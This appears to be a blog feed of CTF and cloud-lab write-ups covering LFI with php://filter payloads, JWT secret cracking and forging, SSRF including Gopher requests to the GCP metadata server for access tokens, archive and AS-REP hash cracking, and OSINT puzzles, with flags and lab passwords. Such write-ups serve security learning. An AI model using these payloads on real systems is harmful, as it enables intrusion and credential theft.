Forem: David Disu

my-cool-blog - jerseyctf6

David Disu — Sun, 19 Apr 2026 20:34:36 +0000

Challenge Overview

This challenge involves chaining multiple vulnerabilities — Directory Traversal, Local File Inclusion (LFI), and a PHP filter bypass — to extract database credentials and retrieve the flag directly from a PostgreSQL database.

Key concepts: LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration

Step 1 – Reconnaissance

The challenge URL exposes a suspicious file parameter:

http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1

Run an nmap scan to fingerprint the target:

nmap -sV my-cool-blog.aws.jerseyctf.com

Port	Service	Version
22	SSH	OpenSSH 8.7
80	HTTP	Apache 2.4.63 Ubuntu
5432	PostgreSQL	DB 18.0–18.2

The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.

Step 2 – Confirm LFI via Directory Traversal

Passing an invalid path to the file parameter triggers a verbose PHP error:

This leaks two critical details — the app passes user input directly to file_get_contents(), and the absolute server path is /opt/server/. Verify LFI by reading /etc/passwd:

?file=../../../../etc/passwd

Confirmed. We have LFI.

Step 3 – Enumerate the Source Code

Use the PHP Base64 filter wrapper to read view-post.php without the server executing it:

?file=php://filter/convert.base64-encode/resource=view-post.php

Decoding the Base64 output reveals two security checks:

Directory block — blocks any input starting with includes
Content filter — blocks any file whose contents contain the string pg_connect

The developer even Base64-encoded pg_connect within the source itself (cGdfY29ubmVjdA==) to obscure the check — a textbook security through obscurity mistake.

Step 4 – Bypass the Filters and Extract Credentials

Both filters collapse under the same PHP filter wrapper trick:

The includes/ block only checks if input starts with includes — php:// bypasses it entirely
The pg_connect content filter never fires because the file is Base64-encoded in memory before str_contains can inspect it

Winning payload:

?file=php://filter/convert.base64-encode/resource=includes/db.inc

Decode the returned Base64 to reveal the PostgreSQL credentials:

host=my-cool-blog.aws.jerseyctf.com
dbname=blog
user=blog_web
password=oPPNQ9vkMdAJx

Step 5 – Connect to PostgreSQL and Dump the Flag

Connect directly to the remote database:

psql -h my-cool-blog.aws.jerseyctf.com -U blog_web -d blog

List the tables:

\dt

Query the flag table:

SELECT * FROM flag;

Flag

jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}

Pwnsome References

X-Ray Vision - jerseyctf6

David Disu — Sun, 19 Apr 2026 19:35:22 +0000

Challenge Overview

This challenge involves finding a hidden token in a webpage's source code, decoding it using the ROT13 cipher, and using it to authenticate against an API endpoint to retrieve the flag.

Key concepts: ROT13 encoding, API authentication with custom headers

Step 1 – Inspect the Page Source

View the page source and look through the HTML for any hidden comments or metadata. You'll find a hidden token:

The token found is: q3i3y0c3e_g00y5

Step 2 – Decode the ROT13 Token

The token is ROT13 encoded. Decode it via rot13.com or in your terminal:

echo "q3i3y0c3e_g00y5" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Note: ROT13 only shifts letters — numbers and special characters stay unchanged.

q3i3y0c3e_g00y5  →  d3v3l0p3r_t00l5

Step 3 – Authenticate Against the API

Pass the decoded token as a custom header to the API endpoint:

curl -H "x-secret-token: d3v3l0p3r_t00l5" http://x-ray-vision.aws.jerseyctf.com/api/status

Flag

jctf{r0t_y0ur_w4y_t0_4cc3ss}

Pwnsome References

My Favorite OS - Jerseyctf6

David Disu — Sun, 19 Apr 2026 19:25:07 +0000

Step 1 – Explore Available Commands

Start by running the help command in the terminal to see what actions are available.

Step 2 – Log In as the Guest User

Use the provided login command to authenticate as the guest user. The server responds with an automatically generated JWT.

Step 3 – Decode the JWT

Head to jwt.io and paste the token into the decoder. Inspect the payload section — you'll see something like:

{
  "username": "guest",
  "role": "user"
}

Our role is user. To access the admin panel, we need to change this to Admin. However, we can't just edit the token — the signature will break unless we sign it with the correct secret key.

Step 4 – Brute-Force the Secret Key

Since JWTs signed with HS256 use a symmetric secret key, we can attempt to crack it using Hashcat with a wordlist:

hashcat -a 0 -m 16500 <your_jwt_token> <path_to_wordlist>

-a 0 — dictionary attack mode
-m 16500 — hash type for JWT (HS256)

The secret key is revealed: windows98

Step 5 – Forge a New Token

Now that we have the secret key, go back to jwt.io and:

Edit the payload — change "role": "user" to "role": "Admin"
Enter windows98 as the secret in the Verify Signature section
Copy the newly signed token

Step 6 – Access the Admin Panel

Use the forged token to send a request to the protected admin endpoint:

GET /admin/panel -H 'Authorization: Bearer <forged_token>'

Flag

jctf{w1nd0ws98_1s_th3_b3st_0s_3v3r_937cn2}

Pwnsome References

Local File Inclusion - Forever CTF (web)

David Disu — Wed, 04 Mar 2026 14:58:34 +0000

Exploit SSRF for Local File Disclosure

In this challenge, we analyze a web application that fetches resources based on user-supplied input. This behavior often points to a Server-Side Request Forgery (SSRF) vulnerability.

1. Identifying the Vulnerability

We test the application by attempting to access a local system file using the file:// URI scheme. By submitting the payload file:///etc/passwd, we can check if the server will read and return its own internal configuration files.

The application successfully returns the contents of the /etc/passwd file. This confirms the application is SSRF positive, specifically allowing for Local File Disclosure (LFD).

2. Retrieving the Flag

The lab description indicates that the flag is located at /flag.txt. Using the confirmed vulnerability, we modify our payload to target that specific file path:

Payload: file:///flag.txt

The server processes the request and reveals the flag:
utflag{g0t_y0ur_r3s0urc3!}

Reveal Hidden Files in Google Storage - Pwnedlabs (Google Cloud pentesting)

David Disu — Wed, 04 Mar 2026 04:15:25 +0000

Identifying and Cracking Exposed Cloud Storage Backups

In this challenge, we begin by inspecting the web page elements to uncover an internal Google Cloud Storage URL: https://storage.googleapis.com/it-storage-bucket.

1. Initial Enumeration

Attempting to list the bucket contents directly via the gcloud CLI or browser often results in a "Permission Denied" (403) error if listing is disabled, even if individual files are publicly accessible.

To bypass this, we perform directory fuzzing to find specific hidden files. Using the ffuf tool and a targeted backup wordlist, we can identify valid paths.

Command:
ffuf -u https://storage.googleapis.com/it-storage-bucket/FUZZ -w /usr/share/wordlists/backup_files_only.txt -mc 200

The fuzzer successfully identifies a match: backup.7z.

2. Data Exfiltration

Once the file path is confirmed, we exfiltrate the archive to our local machine using the gcloud storage utility.

Command:
gcloud storage cp gs://it-storage-bucket/backup.7z .

3. Cracking the Archive

Since the .7z file is password-protected, we use John the Ripper to perform a brute-force attack. First, we must convert the archive into a crackable hash format.

Step A: Extract the hash
7z2john backup.7z > hash.txt

Step B: Run the cracker
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The password is found: balance.

4. Retrieving the Flag

With the password in hand, we extract the archive contents.

Command:
7z x backup.7z

After entering the password balance, the archive unlocks to reveal the final flag.

How to crack a 7z file on kali linux

David Disu — Wed, 04 Mar 2026 00:15:18 +0000

Cracking Password-Protected 7z Archives with John the Ripper

Before starting, ensure your system is updated and the necessary utilities are installed:
sudo apt update && sudo apt install john john-data p7zip-full -y

Step 1: Extract the Archive Hash

John the Ripper cannot crack a .7z file directly. You must first extract the password hash into a format that John understands. We use the 7z2john utility for this.

Command:
7z2john secrets.7z > secret_hash.txt

Step 2: Crack the Hash with a Wordlist

Once you have the hash file, use a wordlist (like the standard rockyou.txt) to attempt to crack the password.

Command:
john --wordlist=/usr/share/wordlists/rockyou.txt secret_hash.txt

If successful, John will display the cleartext password in the terminal. You can view it again later using the --show flag:
john --show secret_hash.txt

Step 3: Extract the Protected Files

Now that you have the password, use the 7z utility to extract the contents of the archive.

Command:
7z x secrets.7z and password: butterfly

When prompted, enter the password you cracked in the previous step. Your files will be extracted to the current directory.

PwnedLabs - Exploit SSRF with Gopher for GCP Initial Access (Google Cloud Pentesting)

David Disu — Mon, 02 Mar 2026 01:33:15 +0000

Exploit SSRF with Gopher for GCP Initial Access

Target IP Address: 35.226.245.121

ENUMERATION

From the initial port scan, ports 22 (SSH) and 80 (HTTP) are open, while ports 1433, 3389, and 5432 are closed.

After viewing the landing page and moving onto the shop page, inspecting the elements reveals the site uses a Google Cloud Storage bucket. On the profile.php page, we can test for a Server-Side Request Forgery (SSRF) vulnerability.

EXPLOITATION

Using the file:///etc/passwd payload, we are able to view the local /etc/passwd file, proving that the application is vulnerable to SSRF.

To pivot into the cloud environment, we will gather information about the VM metadata. First, we query for the associated service account using the following Gopher payload:

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

The query reveals the service account name is:

bucketviewer@gr-proj-1.iam.gserviceaccount.com

Next, we use another Gopher payload to retrieve the service account's access token:

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

To use the credentials, we export the token as a variable:

export ACCESS_TOKEN=<token>

DATA EXFILTRATION

Now that we have the credentials, we can query the bucket using the Google Storage API:

curl "https://www.googleapis.com/storage/v1/b/gigantic-retail/o" -H "Authorization: Bearer $ACCESS_TOKEN"

The result reveals a path to a flag. Finally, we can download the flag file via curl using the -o flag:

Attacking Active Directory: AS-REP Roasting

David Disu — Sun, 22 Feb 2026 23:49:31 +0000

AS-REP Roasting

This attack is caused by a domain user not having Kerberos pre-authentication enabled.

For this Demo i'll be using my Active Directory lab project (DOA lab) check it out my GitHub.

LAB DIAGRAM AND SPECS

Specifications

VM Name	OS	IP Address	Role	Specs
DOA-DC	Windows Server 2019	10.0.2.7 (static)	Domain Controller	4GB RAM, 50GB HDD
DOA-PC01	Windows 10 Pro	10.0.2.101 (DHCP)	Domain-joined client	2GB RAM, 40GB HDD
DOA-PC02	Windows 10 Pro	10.0.2.100 (DHCP)	Domain-joined client	2GB RAM, 40GB HDD
KALI	Kali Linux 6.18	10.0.2.250 (static)	Attack Machine	4GB RAM, 80GB HDD

domain name: doa.local

Attack Demo

Step 1 — Disable Pre-Authentication

On the domain controller, disable pre-authentication using the Disable-KerbPreAuth.ps1 script, which randomly selects 2 users under the "LabUsers" OU and disables their pre-authentication.

Looks like ujack and kchimaev were randomly selected (natural selection, I guess). To verify, checking the user properties confirms the "Do Not Require Kerberos Pre-Authentication" flag is checked.

Step 2 — Install Impacket on Attack Machine

On the dedicated attack machine, install Impacket via:

python3 -m pipx install impacket

Step 3 — Retrieve Hashes with GetNPUsers.py

GetNPUsers.py retrieves hashes for users who have "Do Not Require Kerberos Pre-Authentication" set, without needing their passwords.

Syntax:

GetNPUsers.py <domain>/<user> -dc-ip <x.x.x.x>

Since both ujack and kchimaev had pre-authentication disabled, run:

GetNPUsers.py doa.local/ujack -dc-ip=10.0.2.7
GetNPUsers.py doa.local/kchimaev -dc-ip=10.0.2.7

Step 4 — Crack the Hashes

With the AS-REP hashes retrieved, crack them offline to recover the plaintext passwords:

User	Password
ujack	Changme123!
kchimaev	BorzBorz7

Power Cookie - irisCTF '22 (WEB)

David Disu — Mon, 26 Jan 2026 18:46:40 +0000

Looking at the network tab in the dev tools, we see the isAdmin cookie parameter. It seems that all we have to do is intercept the traffic and change the cookie param to 1.

Taking it over to Burp Suite, we change the value of the isAdmin cookie param, and there it is, the FLAG.

FLAG: picoCTF{gr4d3_A_c00k13_65fd1e1a}

Sleuths and Sweets - irisCTF '24 (OSINT)

David Disu — Tue, 16 Sep 2025 20:47:04 +0000

The description says there’s a lot of foot traffic so let’s search for a place with the most foot traffic in Japan The place happens to be the shibuya crossing so let’s assume they are in shibuya since it has the highest foot traffic The price tag seems unique let’s use google lens to see if there’s any dessert shop with a similar tag These crepes both have the similar cone holder/wrappers. The wrapper on the right reads marion crepes so lets search google maps Turns out there are two Marion crepes located in Shibuya We need to find which store is closer to the crossing “directly outside shibuya station’s Hachiko exit.” you say? Because the shop located in Jinnan is close by to hachiko The address is 1 Chome-21-3 Jinnan, Shibuya, Tokyo 150-0041, Japan now just tweak to fit the flag’s format
Flag: irisctf{1_Chome_21_3_Jinnan_Shibuya}

Sleuths and Sweets - irisCTF

David Disu — Tue, 16 Sep 2025 20:38:04 +0000

The description says there’s a lot of foot traffic so let’s search for a place with the most foot traffic in Japan

The place happens to be the shibuya crossing so let’s assume they are in shibuya since it has the highest foot traffic

The price tag seems unique let’s use google lens to see if there’s any dessert shop with a similar tag

These crepes both have the similar cone holder/wrappers.
The wrapper on the right reads marion crepes so lets search google maps

Turns out there are two Marion crepes located in Shibuya
We need to find which store is closer to the crossing

“directly outside shibuya station’s Hachiko exit.” you say?
Because the shop located in Jinnan is close by to hachiko.

The address is 1 Chome-21-3 Jinnan, Shibuya, Tokyo 150-0041, Japan
now just tweak to fit the flag’s format

Flag: irisctf{1_Chome_21_3_Jinnan_Shibuya}

Checking Out of Winter - irisCTF '24 (OSINT)

David Disu — Tue, 16 Sep 2025 20:19:59 +0000

from the description we know adam is at a resort that has a golf court
let's check out his food blog

Let’s look at the similarities between the blog and ctf description

SIMILARITIES:

location: Baja California Sur
Activities: golf
Food: pizza with shredded chicken
Look at the tags #cabo and #pizza

Now with a quick google search I search hotels in Cabo and Boom!

FLAG: irisctf{Hilton_Los_Cabos_Beach_and_Golf_Resort}